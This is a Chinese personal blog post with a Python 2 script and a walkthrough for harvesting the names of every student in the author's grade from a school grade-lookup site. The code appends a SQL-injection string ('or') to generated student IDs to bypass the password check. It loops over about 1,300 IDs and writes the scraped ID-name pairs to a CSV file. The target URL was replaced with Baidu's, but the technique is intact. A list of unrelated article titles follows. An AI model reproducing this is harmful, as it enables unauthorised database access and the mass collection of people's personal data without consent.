背景:

学校的网站可以根据学号查学生姓名和成绩(三年后的补充:借助sql注入漏洞跳过密码,但是该网站现在已经被弃用了),所以我希望通过Python的爬虫得到年级所有同学的学号与姓名对应表。

实现:

首先需要算出所有学生的学号以方便查询。接下来要把学号和考试场次包装成待会要填入的信息,这可以用urllib模块里的函数urlencode完成。之后要访问网站,先用urllib2模块里的Request函数获得访问令牌(其实我也不知道是什么)(三年后的补充:Request函数构造了一个HTTP请求,后面urlopen函数以这个请求和一个表为参数发送Post请求),然后用urlopen函数把需要填入的信息和令牌传进去就可以得到查询结果网页的源代码了!

此后是分析源代码环节,经过分析后发现所需要的姓名在源代码中字符串“姓名”之后的>和&字符之间。故用find函数找到字符串“姓名”的位置,然后用两个变量找到>和&字符的位置,截取之间的字符串就可以得到姓名了。同时表格有一个叫csv的储存形式,是以文本的方式储存的,且可以通过各类Excel软件另存为为xls文件,是我们的首选。

既然是Python2,就不得不处理编码。在程序头添上使用utf-8的声明,同时在程序开始处加入

 import sys
reload(sys)
sys.setdefaultencoding('utf-8')

把程序内的字符串全部指定为Unicode字符串。同时网页源代码也要由gbk编码转为utf-8。有一点坑的就是原网页的编码是gb2312,结果有同学的姓名是一些奇怪的字,导致会RE。最后查了很久才发现要用gbk代替gb2312来解码。

代码:

#-*- coding: UTF-8 -*-
import urllib
import urllib2
import sys
reload(sys)
sys.setdefaultencoding('utf-8')
url='http://www.baidu.com'
f=open('E:/list.csv','a')
for i in range(1,21):
for j in range(1,66):
table=[('xuehao',str(10000+i*100+j)+'\'or\''), ('kaoshi','')]
search=urllib.urlencode(table)
req=urllib2.Request(url)
get=urllib2.urlopen(req, search).read().decode('gbk').encode('utf-8')
l=r=get.find('姓名')
if l!=-1:
while get[l]!='>':
l+=1
while get[r]!='&':
r+=1
print str(10000+i*100+j)+get[l+1:r]
f.write(str(10000+i*100+j)+','+get[l+1:r]+'\n')
f.close()

注意我把学校查成绩的url改为百度的url了因为怕有人对我的学校网站做一些奇怪的事。

20161016

最新文章

  1. 数组栈的C语言实现
  2. Count(*)或者Count(1)或者Count([列]) 区别
  3. 【转】关于redis.conf的参数配置
  4. jsf2.0 tomcat 修改页面后无法立马看到页面修改效果
  5. BroadcastRecevier广播接受者
  6. jdk和eclipse位数不一致出错
  7. .NET世界各成员之间的关系
  8. SQL 计算两个时间之差 分类: SQL Server 2014-07-04 10:57 119人阅读 评论(0) 收藏
  9. PhpStorm 10.0.1安装(win7-64位)
  10. Learning Cocos2d-x for WP8(8)——动作Action
  11. Android开发之Handler和Looper的关系
  12. 带三方登录(qq,微信,微博)
  13. bzoj1066 蜥蜴 (dinic)
  14. Source Insight里头文件注释和函数头的注释
  15. visual studio 2017 installer 安装包的安装必备组件设置
  16. 「下载神器」aria2 懒人安装教程 [Windows]
  17. textField placeholder颜色,位置设置
  18. 【剑指offer-12】矩阵中的路径
  19. 遇到问题----java----myeclipse或者eclipse发布的项目时配置文件不更新或者无配置文件
  20. 网络中的A、B、C类地址

热门文章

  1. (六)POI-操作Excel的poi的字体设置
  2. web资源图分析
  3. BT.656视频信号解码
  4. Android笔记布局资源文件
  5. 论logstash的玩法(ELK)
  6. 多语言工作者の十日冲刺<7/10>
  7. Redis - (Linux)安装与配置
  8. 强大的IntelliJ IDEA怎么破解?
  9. v-if和v-show的使用和特点
  10. 单元测试中使用mock最好不要使用easymock而应该使用powermock